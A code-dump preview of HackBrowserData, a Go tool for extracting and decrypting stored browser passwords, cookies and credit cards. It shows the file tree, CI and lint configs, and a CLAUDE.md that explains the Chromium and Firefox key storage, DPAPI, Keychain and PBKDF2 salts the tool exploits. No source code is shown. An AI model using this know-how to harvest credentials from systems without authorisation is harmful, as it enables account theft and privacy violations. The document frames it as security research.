Full Code of moonD4rk/HackBrowserData for AI

main 239501535a2e cached
73 files
221.8 KB
68.3k tokens
467 symbols
1 requests
Download .txt
Showing preview only (239K chars total). Download the full file or copy to clipboard to get everything.
Repository: moonD4rk/HackBrowserData
Branch: main
Commit: 239501535a2e
Files: 73
Total size: 221.8 KB

Directory structure:
gitextract_fqj4wsxy/

├── .github/
│   ├── ISSUE_TEMPLATE/
│   │   ├── bug_report.md
│   │   └── feature_request.md
│   ├── PULL_REQUEST_TEMPLATE.md
│   ├── dependabot.yml
│   ├── release-drafter.yml
│   └── workflows/
│       ├── build.yml
│       ├── contributors.yml
│       ├── lint.yml
│       ├── release.yml
│       └── test.yml
├── .gitignore
├── .golangci.yml
├── .goreleaser.yml
├── .typos.toml
├── CLAUDE.md
├── CODE_OF_CONDUCT.md
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── browser/
│   ├── browser.go
│   ├── browser_darwin.go
│   ├── browser_linux.go
│   ├── browser_windows.go
│   ├── chromium/
│   │   ├── chromium.go
│   │   ├── chromium_darwin.go
│   │   ├── chromium_linux.go
│   │   └── chromium_windows.go
│   ├── consts.go
│   ├── exploit/
│   │   └── gcoredump/
│   │       └── gcoredump.go
│   └── firefox/
│       ├── firefox.go
│       └── firefox_test.go
├── browserdata/
│   ├── bookmark/
│   │   └── bookmark.go
│   ├── browserdata.go
│   ├── cookie/
│   │   └── cookie.go
│   ├── creditcard/
│   │   └── creditcard.go
│   ├── download/
│   │   └── download.go
│   ├── extension/
│   │   └── extension.go
│   ├── history/
│   │   └── history.go
│   ├── imports.go
│   ├── localstorage/
│   │   ├── localstorage.go
│   │   └── localstorage_test.go
│   ├── outputter.go
│   ├── outputter_test.go
│   ├── password/
│   │   └── password.go
│   └── sessionstorage/
│       └── sessionstorage.go
├── cmd/
│   └── hack-browser-data/
│       └── main.go
├── crypto/
│   ├── asn1pbe.go
│   ├── asn1pbe_test.go
│   ├── crypto.go
│   ├── crypto_darwin.go
│   ├── crypto_linux.go
│   ├── crypto_test.go
│   ├── crypto_windows.go
│   └── pbkdf2.go
├── extractor/
│   ├── extractor.go
│   └── registration.go
├── go.mod
├── go.sum
├── log/
│   ├── level/
│   │   └── level.go
│   ├── log.go
│   ├── logger.go
│   └── logger_test.go
├── rfc/
│   └── 001-architecture-refactoring.md
├── types/
│   ├── types.go
│   └── types_test.go
└── utils/
    ├── byteutil/
    │   └── byteutil.go
    ├── chainbreaker/
    │   ├── chainbreaker.go
    │   ├── chainbreaker_test.go
    │   └── testdata/
    │       └── test.keychain-db
    ├── fileutil/
    │   ├── filetutil.go
    │   └── fileutil_test.go
    └── typeutil/
        ├── typeutil.go
        └── typeutil_test.go

================================================
FILE CONTENTS
================================================

================================================
FILE: .github/ISSUE_TEMPLATE/bug_report.md
================================================
---
name: Bug report
about: Create a report to help us improve
title: ''
labels: bug
assignees: ''

---

## Describe the bug
A clear and concise description of what the bug is.

## Log Output
Please attach or paste the relevant log output. Use `./hack-browser-data -vv` and paste result here.

## Expected vs Actual Behavior
Describe what you expected to happen and what actually happened.

## Desktop (please complete the following information):
Select the operating system(s) you are using:
- [ ] Windows
- [ ] macOS
- [ ] Linux

- OS Version: [e.g. windows 10, macos 10.15.7, ubuntu 20.04]
- OS Architecture: [e.g. 32-bit, 64-bit]
- Browser Name: [e.g. chrome, firefox]
- Browser Version: [e.g. 86.0.4240.111, 82.0.3]

## Additional Details
- [ ] I ran `hack-browser-data` with administrator/root privileges.

## Checklist
- [ ] I have checked the [existing issues](https://github.com/moonD4rk/HackBrowserData/issues) for similar problems.

## Screenshots/Videos
If applicable, add screenshots or videos to help explain your problem.

## Additional context
Add any other context about the problem here.

================================================
FILE: .github/ISSUE_TEMPLATE/feature_request.md
================================================
---
name: Feature Request
about: Suggest an idea for this project
title: ''
labels: enhancement
assignees: ''

---

## Feature Description
A clear and concise description of what the feature is.

## Why is this feature needed?
A clear and concise description of why this feature is needed.

## Checklist
- [ ] I have checked the [existing issues](https://github.com/moonD4rk/HackBrowserData/issues) for similar problems.

## Screenshots/Videos
If applicable, add screenshots or videos to help explain your proposal.

## Additional Context
Add any other context or screenshots about the feature request here.


================================================
FILE: .github/PULL_REQUEST_TEMPLATE.md
================================================
## Proposed changes

<!-- Describe the overall picture of your modifications to help maintainers understand the pull request. PRs are required to be associated to their related issue tickets or feature request. -->


## Checklist

<!-- Put an "x" in the boxes that apply. You can also fill these out after creating the PR. If you're unsure about any of them, don't hesitate to ask. We're here to help! This is simply a reminder of what we are going to look for before merging your code. -->

- [ ] Pull request is created against the [dev](https://github.com/moonD4rk/HackBrowserData/tree/dev) branch
- [ ] All checks passed (lint, unit, build tests etc.) with my changes
- [ ] I have added tests that prove my fix is effective or that my feature works
- [ ] I have added necessary documentation (if appropriate)

================================================
FILE: .github/dependabot.yml
================================================
version: 2
updates:
  - package-ecosystem: "gomod"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    target-branch: dev
#    ignore:
#      - dependency-name: "example-package"
#        versions: ["2.x.x"]
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "monthly"
    open-pull-requests-limit: 5
    target-branch: dev

================================================
FILE: .github/release-drafter.yml
================================================
name-template: 'hack-browser-data-$RESOLVED_VERSION'
tag-template: 'v$RESOLVED_VERSION'
categories:
  - title: '🚀 Features'
    labels:
      - 'feature'
      - 'enhancement'
  - title: '🐛 Bug Fixes'
    labels:
      - 'fix'
      - 'bugfix'
      - 'bug'
  - title: '🧰 Maintenance'
    label: 'chore'
  - title: '📖 Document'
    label: 'doc'
change-template: '- $TITLE @$AUTHOR (#$NUMBER)'
version-resolver:
  major:
    labels:
      - 'major'
  minor:
    labels:
      - 'minor'
  patch:
    labels:
      - 'patch'
  default: patch
template: |
  ## Changes
  $CHANGES


================================================
FILE: .github/workflows/build.yml
================================================
name: Build

on:
  push:
    branches:
      - main
  pull_request:
  workflow_dispatch:

jobs:
  build:
    name: Build on ${{ matrix.os }}
    runs-on: ${{ matrix.os }}
    strategy:
      matrix:
        os: [ubuntu-latest, windows-latest, macos-latest]
        goVer: ["1.20.x"]

    steps:
      - name: Check out code into the Go module directory
        uses: actions/checkout@v4

      - name: Set up Go ${{ matrix.goVer }}
        uses: actions/setup-go@v5
        with:
          go-version: ${{ matrix.goVer }}
          cache: false
        id: go

      - name: cache go modules
        uses: actions/cache@v4
        with:
          path: |
            ~/go/pkg/mod
            ~/.cache/go-build
          key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}
          restore-keys: |
            ${{ runner.os }}-go-

      - name: Format Check
        if: matrix.os != 'windows-latest'
        run: |
          diff -u <(echo -n) <(gofmt -d .)

      - name: Get dependencies
        run: |
          go mod tidy
          go mod download

      - name: Build
        run: go build -v ./...


================================================
FILE: .github/workflows/contributors.yml
================================================
name: Contributors
on:
  schedule:
    - cron: '0 1 * * 0' # At 01:00 on Sunday.
  push:
    branches:
      - main
  workflow_dispatch:
    inputs:
      logLevel:
        description: 'manual run'
        required: false
        default: ''
jobs:
  contributors:
    runs-on: ubuntu-latest
    steps:
      - uses: bubkoo/contributors-list@v1
        with:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          round: true


================================================
FILE: .github/workflows/lint.yml
================================================
name: Lint
on:
  push:
    branches:
      - main
  pull_request:
  workflow_dispatch:
jobs:
  lint:
    name: Lint
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Set Golang
        uses: actions/setup-go@v5
        with:
          go-version: "1.20.x"
          cache: false

      - name: Check spelling with custom config file
        uses: crate-ci/typos@master
        with:
          config: ./.typos.toml

      - name: Get dependencies
        run: |
          go mod tidy
          go mod download

      - name: Lint
        uses: golangci/golangci-lint-action@v8
        with:
          version: v2.4.0


================================================
FILE: .github/workflows/release.yml
================================================
name: Release

on:
  workflow_dispatch:

permissions:
  contents: write
  pull-requests: write

jobs:
  goreleaser:
    runs-on: ubuntu-latest
    steps:
      - name: Set up Go
        uses: actions/setup-go@v5
        with:
          go-version: '1.20.x'

      - name: Check out code
        uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Run GoReleaser
        uses: goreleaser/goreleaser-action@v6
        with:
          version: '~> v2'
          args: release --clean --draft
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

  update_release_draft:
    needs: goreleaser
    runs-on: ubuntu-latest
    steps:
      - uses: release-drafter/release-drafter@v6
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}


================================================
FILE: .github/workflows/test.yml
================================================
name: Tests

on:
  pull_request:
  push:
    branches:
      - main
      - dev
  workflow_dispatch:

jobs:
  test:
    strategy:
      matrix:
        go-version: [ "1.20.x" ]
        platform: [ubuntu-latest]
    runs-on: ${{ matrix.platform }}
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Install Go
        if: success()
        uses: actions/setup-go@v5
        with:
          go-version: ${{ matrix.go-version }}

      - name: Run tests
        run: go test -v ./... -covermode=count

  coverage:
    runs-on: ubuntu-latest
    steps:
      - name: Install Go
        if: success()
        uses: actions/setup-go@v5
        with:
          go-version: "1.20.x"
      - name: Checkout code
        uses: actions/checkout@v4
      - name: Calc coverage
        run: |
          go test -v ./... -covermode=count -coverprofile=coverage.out

      - name: Convert coverage.out to coverage.lcov
        uses: jandelgado/gcov2lcov-action@v1
      - name: Coveralls
        uses: coverallsapp/github-action@v2
        with:
          github-token: ${{ secrets.github_token }}
          path-to-lcov: coverage.lcov

================================================
FILE: .gitignore
================================================
# General
.DS_Store
.AppleDouble
.LSOverride

# Icon must end with two \r
Icon

# Thumbnails
._*

# Files that might appear in the root of a volume
.DocumentRevisions-V100
.fseventsd
.Spotlight-V100
.TemporaryItems
.Trashes
.VolumeIcon.icns
.com.apple.timemachine.donotpresent

# Directories potentially created on remote AFP share
.AppleDB
.AppleDesktop
Network Trash Folder
Temporary Items
.apdisk


# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class

# C extensions
*.so

# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib64/
parts/
sdist/
var/
wheels/
pip-wheel-metadata/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST

# PyInstaller
#  Usually these files are written by a python script from a template
#  before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec

# Installer logs
pip-log.txt
pip-delete-this-directory.txt

# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/

# Translations
*.mo
*.pot

# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal

# Flask stuff:
instance/
.webassets-cache

# Scrapy stuff:
.scrapy

# Sphinx documentation
docs/_build/

# PyBuilder
target/

# Jupyter Notebook
.ipynb_checkpoints

# IPython
profile_default/
ipython_config.py

# pyenv
.python-version

# pipenv
#   According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
#   However, in case of collaboration, if having platform-specific dependencies or dependencies
#   having no cross-platform support, pipenv may install dependencies that don't work, or not
#   install all needed dependencies.
#Pipfile.lock

# PEP 582; used by e.g. github.com/David-OConnor/pyflow
__pypackages__/

# Celery stuff
celerybeat-schedule
celerybeat.pid

# SageMath parsed files
*.sage.py

# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/

# Spyder project settings
.spyderproject
.spyproject

# Rope project settings
.ropeproject

# mkdocs documentation
/site

# mypy
.mypy_cache/
.dmypy.json
dmypy.json

# Pyre type checker
.pyre/

# idea
.idea/
.idea

# windows
*.exe
# macOS

# binary
cmd/agent
cmd/server
# bin
# file
*.csv
*.xlsx
*.txt

# config file
config.toml
*.json
Bookmarks
Login Data
Cookies
History
*.db
*.sqlite
*.sqlite-shm
*.sqlite-wal

#Chromium*
#Firefox*
result/
results/

hack-browser-data
!/cmd/hack-browser-data
!/browserdata/history
!/browserdata/history/history.go
!/browserdata/history/history_test.go

# github action
!/.github/workflows/unittest.yml
!/.github/ISSUE_TEMPLATE/*.md
!/.github/*.md

# Community
!CONTRIBUTING.md

# CICD Config
!.typos.toml
!.github/*.yml
!log/
examples/*.go

================================================
FILE: .golangci.yml
================================================
# golangci-lint configuration
# Compatible with golangci-lint v2.4+ and Go 1.20
# This is a best practice starter configuration that can be gradually enhanced
version: "2"

run:
  # Go version - fixed to 1.20
  go: "1.20"
  # Timeout setting
  timeout: "5m"
  # Allow parallel runners
  allow-parallel-runners: true
  # Module download mode
  modules-download-mode: "mod"

# Code formatters configuration
formatters:
  enable:
    - gofmt # Go official formatter
    - goimports # Automatic import management
    - gci # Import grouping and sorting

  settings:
    gofmt:
      # Simplify code
      simplify: true

    goimports:
      # Local package prefix (must be array in v2)
      local-prefixes:
        - github.com/moond4rk/hackbrowserdata

    gci:
      # Import section order
      sections:
        - standard # Standard library
        - default # Third-party libraries
        - prefix(github.com/moond4rk/hackbrowserdata) # Local packages

# Linter configuration
linters:
  # Use standard linters as base
  default: standard

  # Additional enabled linters (best practices recommended)
  enable:
    # Error checking
    - errcheck # Check unhandled errors
    - errorlint # Improve error handling

    # Code quality
    - ineffassign # Detect ineffective assignments
    - revive # Code quality checks
    - misspell # Spell checking
    - unconvert # Detect unnecessary type conversions

    # Security related
    - gosec # Security vulnerability checks

    # Performance related
    - prealloc # Slice preallocation optimization

    # Code standards
    - whitespace # Whitespace checks

    # Best practices
    - gocritic # Comprehensive code analysis
    - goprintffuncname # Printf function naming checks

    # Dependency management
    - depguard # Package dependency control
    - gomodguard # Go module dependency control

    # Code complexity (optional for initial setup)
    - funlen # Function length checks
    - goconst # Magic number checks

  # Explicitly disabled linters (to avoid false positives and noise)
  disable:
    - exhaustruct # Struct field completeness check (too strict)
    - wrapcheck # Error wrapping check (project specific)
    - testpackage # Test package separation (not conventional)
    - paralleltest # Parallel test check (not always needed)
    - nlreturn # Newline before return (too strict)
    - wsl # Whitespace rules (too strict)
    - gochecknoglobals # No global variables (sometimes needed)
    - gochecknoinits # No init functions (sometimes needed)
    - exhaustive # Enum completeness (too strict initially)
    - unused # Temporarily disabled for gradual cleanup

  # Exclusion configuration
  exclusions:
    # Paths to exclude
    paths:
      - vendor
      - third_party
      - testdata
      - ".*\\.pb\\.go$"
      - ".*\\.gen\\.go$"

    # Use default exclusion presets
    presets:
      - comments
      - common-false-positives
      - legacy
      - std-error-handling

    # Exclusion rules
    rules:
      # Test file exclusions
      - path: '_test\.go'
        linters:
          - dupl
          - funlen
          - goconst
          - gosec
          - errcheck

      # Generated file exclusions
      - path: '\.pb\.go$'
        linters:
          - all

      # Vendor directory exclusions
      - path: "vendor"
        linters:
          - all

      # Defer statement exclusions
      - source: "defer"
        linters:
          - errcheck

      # SQL query exclusions
      - text: "SELECT"
        linters:
          - gosec

      # Package comment exclusions
      - text: "should have a package comment"
        linters:
          - staticcheck
          - revive

      # Types package exclusions
      - path: "types/types.go"
        linters:
          - revive

      # Unused code exclusions (temporary)
      - text: "is unused"
        linters:
          - unused
          - staticcheck

  # Linter specific settings
  settings:
    # Error check settings
    errcheck:
      # Check type assertion errors
      check-type-assertions: true
      # Don't check blank identifier
      check-blank: false
      # Excluded functions - expanded list to reduce noise
      exclude-functions:
        - "os.Remove"
        - "os.RemoveAll"
        - "io.Copy(os.Stdout)"
        - "(*database/sql.DB).Close"
        - "(*database/sql.Rows).Close"
        - "(*github.com/syndtr/goleveldb/leveldb.DB).Close"
        - "defer"
        - "(net/http.ResponseWriter).Write"

    # Security check settings
    gosec:
      # Excluded rules (adjust based on project needs)
      excludes:
        - G101 # Hardcoded credentials - too many false positives
        - G104 # Error checking (handled by errcheck)
        - G304 # File path traversal (needed for project features)
        - G306 # Poor file permissions (test files)
        - G401 # Weak cryptographic algorithm (needed for compatibility)
        - G405 # Weak cryptographic algorithm
        - G501 # Import crypto/md5 (needed for compatibility)
        - G502 # Import crypto/des (needed for compatibility)
        - G505 # Import crypto/sha1 (needed for compatibility)

    # Go vet settings
    govet:
      enable-all: true
      disable:
        - fieldalignment # Field alignment optimization (premature optimization)
        - shadow # Variable shadowing (sometimes intentional)

    # Static check settings
    staticcheck:
      # Check all except the ones we exclude
      checks:
        [
          "all",
          "-ST1000",
          "-ST1003",
          "-ST1016",
          "-ST1020",
          "-ST1021",
          "-ST1022",
        ]

    # Revive settings
    revive:
      severity: warning
      rules:
        - name: unused-parameter
          disabled: true # Interface implementations may not use all parameters
        - name: var-naming
          disabled: true # Too many false positives with types package
        - name: package-comments
          disabled: true # Package comments are not mandatory
        - name: exported
          disabled: true # Not all exported types need comments initially

    # Function length settings
    funlen:
      lines: 150 # Increased for existing code
      statements: 80 # Increased for existing code
      ignore-comments: true

    # Code critic settings
    gocritic:
      enabled-tags:
        - diagnostic
        - performance
      disabled-checks:
        - hugeParam # Large value parameters (sometimes needed)
        - rangeValCopy # Range value copy (minimal performance impact)
        - commentedOutCode # Allow commented code for now
        - ifElseChain # Allow if-else chains
      settings:
        rangeExprCopy:
          sizeThreshold: 512

    # Dependency guard settings
    depguard:
      rules:
        main:
          files:
            - $all
          deny:
            - pkg: "github.com/pkg/errors"
              desc: "Use standard library errors package instead"
            - pkg: "io/ioutil"
              desc: "io/ioutil is deprecated, use io or os package"

    # Spell check settings
    misspell:
      locale: US
      ignore-rules:
        - behaviour # British spelling

    # goconst settings - make it less aggressive
    goconst:
      min-len: 5 # Minimum length of string constant
      min-occurrences: 5 # Increased from default 3

# Output configuration
output:
  # Output format - use text format with colors
  formats:
    text:
      path: stdout
      colors: true


================================================
FILE: .goreleaser.yml
================================================
version: 2

before:
  hooks:
    - go mod tidy

builds:
  - id: "hack-browser-data"
    main: ./cmd/hack-browser-data/main.go
    binary: hack-browser-data
    env:
      - CGO_ENABLED=0
    goos: [windows, linux, darwin]
    goarch: [amd64, "386", arm, arm64]
    ignore:
      - goos: darwin
        goarch: "386"
      - goos: windows
        goarch: "386"
      - goos: windows
        goarch: arm
    flags:
      - -trimpath
    ldflags:
      - -s -w

archives:
  - id: "archive"
    format: zip
    builds: ["hack-browser-data"]
    name_template: >-
      hack-browser-data-
      {{- if eq .Os "darwin" }}osx
      {{- else if eq .Os "linux" }}linux
      {{- else if eq .Os "windows" }}windows
      {{- else }}{{ .Os }}{{ end }}-
      {{- if eq .Arch "amd64" }}64bit
      {{- else if eq .Arch "386" }}32bit
      {{- else if eq .Arch "arm64" }}arm64
      {{- else if eq .Arch "arm" }}arm
      {{- else }}{{ .Arch }}{{ end }}

changelog:
  sort: asc
  filters:
    exclude:
      - "^docs:"
      - "^test:"
      - "^chore\\(deps\\):"
      - "merge conflict"
      - Merge pull request
      - Merge remote-tracking branch
      - Merge branch
      - go mod tidy
checksum:
  name_template: "checksums-v{{ .Version }}.txt"
  algorithm: sha256

release:
  prerelease: auto


================================================
FILE: .typos.toml
================================================
# See https://github.com/crate-ci/typos/blob/master/docs/reference.md to configure typos
[default.extend-words]
Readed = "Readed"
Sie = "Sie"
OT = "OT"
Encrypter = "Encrypter"
Decrypter = "Decrypter"
[files]
extend-exclude = ["go.mod", "go.sum"]

================================================
FILE: CLAUDE.md
================================================
# CLAUDE.md

This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.

## ⚠️ CRITICAL SECURITY AND LEGAL NOTICE

**THIS PROJECT IS STRICTLY FOR SECURITY RESEARCH AND DEFENSIVE PURPOSES ONLY**

- This tool is ONLY intended for legitimate security research, authorized audits, and defensive security operations
- ANY use of this project for unauthorized access, data theft, or malicious purposes is STRICTLY PROHIBITED and may violate computer fraud and abuse laws
- Users are SOLELY responsible for ensuring compliance with all applicable laws and regulations in their jurisdiction
- The original author and contributors assume NO legal responsibility for misuse of this tool
- You MUST have explicit authorization before using this tool on any system you do not own
- This tool should NEVER be used for attacking, credential harvesting, or any malicious intent
- All security research must be conducted ethically and within legal boundaries

## Project Overview

HackBrowserData is a command-line security research tool for extracting and decrypting browser data across multiple platforms (Windows, macOS, Linux). It supports data extraction from Chromium-based browsers (Chrome, Edge, Brave, etc.) and Firefox.

**Legitimate Use Cases**:
- Personal data backup and recovery
- Authorized enterprise security audits
- Digital forensics investigations (with proper authorization)
- Security vulnerability research and defense improvement
- Understanding browser security mechanisms for defensive purposes

## Development Commands

### Build the Project
```bash
# Build for current platform
cd cmd/hack-browser-data
go build

# Cross-compile for Windows from macOS/Linux
GOOS=windows GOARCH=amd64 go build

# Cross-compile for Linux from macOS/Windows  
GOOS=linux GOARCH=amd64 go build

# Cross-compile for macOS from Linux/Windows
GOOS=darwin GOARCH=amd64 go build
```

### Testing
```bash
# Run all tests
go test -v ./...

# Run tests with coverage
go test -v ./... -covermode=count -coverprofile=coverage.out

# Run specific package tests
go test -v ./browser/chromium/...
go test -v ./crypto/...
```

### Code Quality
```bash
# Format check
gofmt -d .

# Run linter (requires golangci-lint)
golangci-lint run

# Check spelling
typos

# Tidy dependencies
go mod tidy
```

## Architecture Overview

### Core Components

**Browser Abstraction Layer** (`browser/`)
- Interface-based design allowing easy addition of new browsers
- Platform-specific implementations using build tags (`_darwin.go`, `_windows.go`, `_linux.go`)
- Automatic profile discovery and multi-profile support

**Data Extraction Pipeline**
1. **Profile Discovery**: `profile/finder.go` locates browser profiles
2. **File Management**: `filemanager/` handles secure copying of browser files
3. **Decryption**: `crypto/` provides platform-specific decryption
   - Windows: DPAPI via Windows API
   - macOS: Keychain access (requires user password)
   - Linux: PBKDF2 key derivation
4. **Data Processing**: `browserdata/` parses and structures extracted data
5. **Output**: `browserdata/outputter.go` exports to CSV/JSON

**Key Interfaces**
- `Browser`: Main interface for browser implementations
- `DataType`: Enum for different data types (passwords, cookies, etc.)
- `BrowserData`: Container for all extracted browser data

### Platform-Specific Considerations

**macOS**
- Requires user password for Keychain access to decrypt Chrome passwords
- Uses Security framework for keychain operations
- Profile paths: `~/Library/Application Support/[Browser]/`

**Windows**
- Uses DPAPI for decryption (no password required)
- Accesses Local State file for encryption keys
- Profile paths: `%LOCALAPPDATA%/[Browser]/User Data/`

**Linux**
- Uses PBKDF2 with "peanuts" as salt
- Requires gnome-keyring or kwallet access
- Profile paths: `~/.config/[Browser]/`

### Security Mechanisms

**Data Protection**
- Temporary file cleanup after extraction
- No persistent storage of decrypted master keys
- Secure memory handling for sensitive data

**File Operations**
- Copy-on-read to avoid modifying original browser files
- Lock file filtering to prevent conflicts
- Atomic operations where possible

## Adding New Browser Support

1. Create browser-specific package in `browser/[name]/`
2. Implement the `Browser` interface
3. Add platform-specific profile paths in `browser/consts.go`
4. Register in `browser/browser.go` picker functions
5. Add data type mappings in `types/types.go`

## Important Files and Their Roles

- `cmd/hack-browser-data/main.go`: CLI entry point and flag handling
- `browser/chromium/chromium.go`: Core Chromium implementation
- `crypto/crypto_[platform].go`: Platform-specific decryption
- `extractor/extractor.go`: Main extraction orchestration
- `profile/finder.go`: Browser profile discovery logic
- `browserdata/password/password.go`: Password parsing and decryption

## Testing Considerations

- Tests use mocked data to avoid requiring actual browser installations
- Platform-specific tests are isolated with build tags
- Sensitive operations (like keychain access) are mocked in tests
- Use `DATA-DOG/go-sqlmock` for database operation testing

## Browser Security Analysis

### Chromium-Based Browsers Security

**Encryption Methods**:
- **Chrome v80+**: AES-256-GCM encryption for sensitive data
- **Pre-v80**: AES-128-CBC with PKCS#5 padding
- **Master Key Storage**:
  - Windows: Encrypted with DPAPI in `Local State` file
  - macOS: Stored in system Keychain (requires user password)
  - Linux: Derived using PBKDF2 with "peanuts" salt

**Data Protection Layers**:
1. **Password Storage**: Encrypted in SQLite database (`Login Data`)
2. **Cookie Encryption**: Encrypted values in `Cookies` database
3. **Credit Card Data**: Encrypted with same master key as passwords
4. **Local Storage**: Stored in LevelDB format, some values encrypted

### Firefox Security

**Encryption Architecture**:
- **Master Password**: Optional user-defined password for additional protection
- **Key Database**: `key4.db` stores encrypted master keys
- **NSS Library**: Network Security Services for cryptographic operations
- **Profile Encryption**: Each profile has independent encryption keys

**Key Derivation**:
- Uses PKCS#5 PBKDF2 for key derivation
- Triple-DES (3DES) for legacy compatibility
- AES-256-CBC for modern encryption
- ASN.1 encoding for key storage

### Platform-Specific Security Mechanisms

**Windows DPAPI (Data Protection API)**:
- User-specific encryption tied to Windows login
- No additional password required for decryption
- Keys protected by Windows security subsystem
- Vulnerable if attacker has user-level access

**macOS Keychain Services**:
- Requires user password for access
- Integration with system security framework
- Protected by System Integrity Protection (SIP)
- Security command-line tool for programmatic access

**Linux Secret Service**:
- GNOME Keyring or KDE Wallet integration
- D-Bus communication for key retrieval
- User session-based protection
- Fallback to PBKDF2 if keyring unavailable

### Security Vulnerabilities and Mitigations

**Known Attack Vectors**:
1. **Physical Access**: Direct file system access to browser profiles
2. **Memory Dumps**: Extraction of decrypted data from RAM
3. **Malware**: Keyloggers and info-stealers targeting browsers
4. **Process Injection**: DLL injection to extract decrypted data

**Defensive Recommendations**:
1. **Enable Master Password**: Firefox users should set master password
2. **Use OS-Level Encryption**: FileVault (macOS), BitLocker (Windows), LUKS (Linux)
3. **Regular Updates**: Keep browsers updated for latest security patches
4. **Profile Isolation**: Use separate profiles for sensitive activities
5. **Hardware Keys**: Use FIDO2/WebAuthn for critical accounts

### Cryptographic Implementation Details

**AES-GCM (Galois/Counter Mode)**:
- Authenticated encryption with associated data (AEAD)
- 96-bit nonce/IV for randomization
- 128-bit authentication tag for integrity
- Used in Chrome v80+ for enhanced security

**PBKDF2 (Password-Based Key Derivation Function 2)**:
- Iterations: 1003 (macOS), 1 (Linux default)
- Hash function: SHA-1 (legacy) or SHA-256
- Salt: "saltysalt" (Chrome), "peanuts" (Linux)
- Output: 128-bit or 256-bit keys

**DPAPI Internals**:
- Uses CryptProtectData/CryptUnprotectData Windows APIs
- Machine-specific or user-specific encryption
- Automatic key management by Windows
- Integrates with Windows credential manager

## Dependencies

- `modernc.org/sqlite`: Pure Go SQLite for cross-platform compatibility
- `github.com/godbus/dbus`: Linux keyring access
- `github.com/ppacher/go-dbus-keyring`: Secret service integration
- `github.com/tidwall/gjson`: JSON parsing for browser preferences
- `github.com/syndtr/goleveldb`: LevelDB for IndexedDB/LocalStorage

## Ethical Usage Guidelines

### Responsible Disclosure
- Report vulnerabilities to browser vendors through official channels
- Allow reasonable time for patches before public disclosure
- Never exploit vulnerabilities for personal gain

### Legal Compliance
- Obtain written authorization before testing third-party systems
- Comply with GDPR, CCPA, and other privacy regulations
- Respect intellectual property and terms of service
- Maintain audit logs of all security testing activities

### Best Practices for Security Researchers
1. **Scope Definition**: Clearly define testing boundaries
2. **Data Handling**: Securely delete any extracted sensitive data
3. **Documentation**: Maintain detailed records of methodologies
4. **Collaboration**: Work with security community ethically
5. **Education**: Share knowledge to improve overall security

================================================
FILE: CODE_OF_CONDUCT.md
================================================
# Contributor Covenant Code of Conduct

## Our Pledge

We as members, contributors, and leaders pledge to make participation in our
community a harassment-free experience for everyone, regardless of age, body
size, visible or invisible disability, ethnicity, sex characteristics, gender
identity and expression, level of experience, education, socio-economic status,
nationality, personal appearance, race, religion, or sexual identity
and orientation.

We pledge to act and interact in ways that contribute to an open, welcoming,
diverse, inclusive, and healthy community.

## Our Standards

Examples of behavior that contributes to a positive environment for our
community include:

* Demonstrating empathy and kindness toward other people
* Being respectful of differing opinions, viewpoints, and experiences
* Giving and gracefully accepting constructive feedback
* Accepting responsibility and apologizing to those affected by our mistakes,
  and learning from the experience
* Focusing on what is best not just for us as individuals, but for the
  overall community

Examples of unacceptable behavior include:

* The use of sexualized language or imagery, and sexual attention or
  advances of any kind
* Trolling, insulting or derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or email
  address, without their explicit permission
* Other conduct which could reasonably be considered inappropriate in a
  professional setting

## Enforcement Responsibilities

Community leaders are responsible for clarifying and enforcing our standards of
acceptable behavior and will take appropriate and fair corrective action in
response to any behavior that they deem inappropriate, threatening, offensive,
or harmful.

Community leaders have the right and responsibility to remove, edit, or reject
comments, commits, code, wiki edits, issues, and other contributions that are
not aligned to this Code of Conduct, and will communicate reasons for moderation
decisions when appropriate.

## Scope

This Code of Conduct applies within all community spaces, and also applies when
an individual is officially representing the community in public spaces.
Examples of representing our community include using an official e-mail address,
posting via an official social media account, or acting as an appointed
representative at an online or offline event.

## Enforcement

Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported to the community leaders responsible for enforcement at
.
All complaints will be reviewed and investigated promptly and fairly.

All community leaders are obligated to respect the privacy and security of the
reporter of any incident.

## Enforcement Guidelines

Community leaders will follow these Community Impact Guidelines in determining
the consequences for any action they deem in violation of this Code of Conduct:

### 1. Correction

**Community Impact**: Use of inappropriate language or other behavior deemed
unprofessional or unwelcome in the community.

**Consequence**: A private, written warning from community leaders, providing
clarity around the nature of the violation and an explanation of why the
behavior was inappropriate. A public apology may be requested.

### 2. Warning

**Community Impact**: A violation through a single incident or series
of actions.

**Consequence**: A warning with consequences for continued behavior. No
interaction with the people involved, including unsolicited interaction with
those enforcing the Code of Conduct, for a specified period of time. This
includes avoiding interactions in community spaces as well as external channels
like social media. Violating these terms may lead to a temporary or
permanent ban.

### 3. Temporary Ban

**Community Impact**: A serious violation of community standards, including
sustained inappropriate behavior.

**Consequence**: A temporary ban from any sort of interaction or public
communication with the community for a specified period of time. No public or
private interaction with the people involved, including unsolicited interaction
with those enforcing the Code of Conduct, is allowed during this period.
Violating these terms may lead to a permanent ban.

### 4. Permanent Ban

**Community Impact**: Demonstrating a pattern of violation of community
standards, including sustained inappropriate behavior,  harassment of an
individual, or aggression toward or disparagement of classes of individuals.

**Consequence**: A permanent ban from any sort of public interaction within
the community.

## Attribution

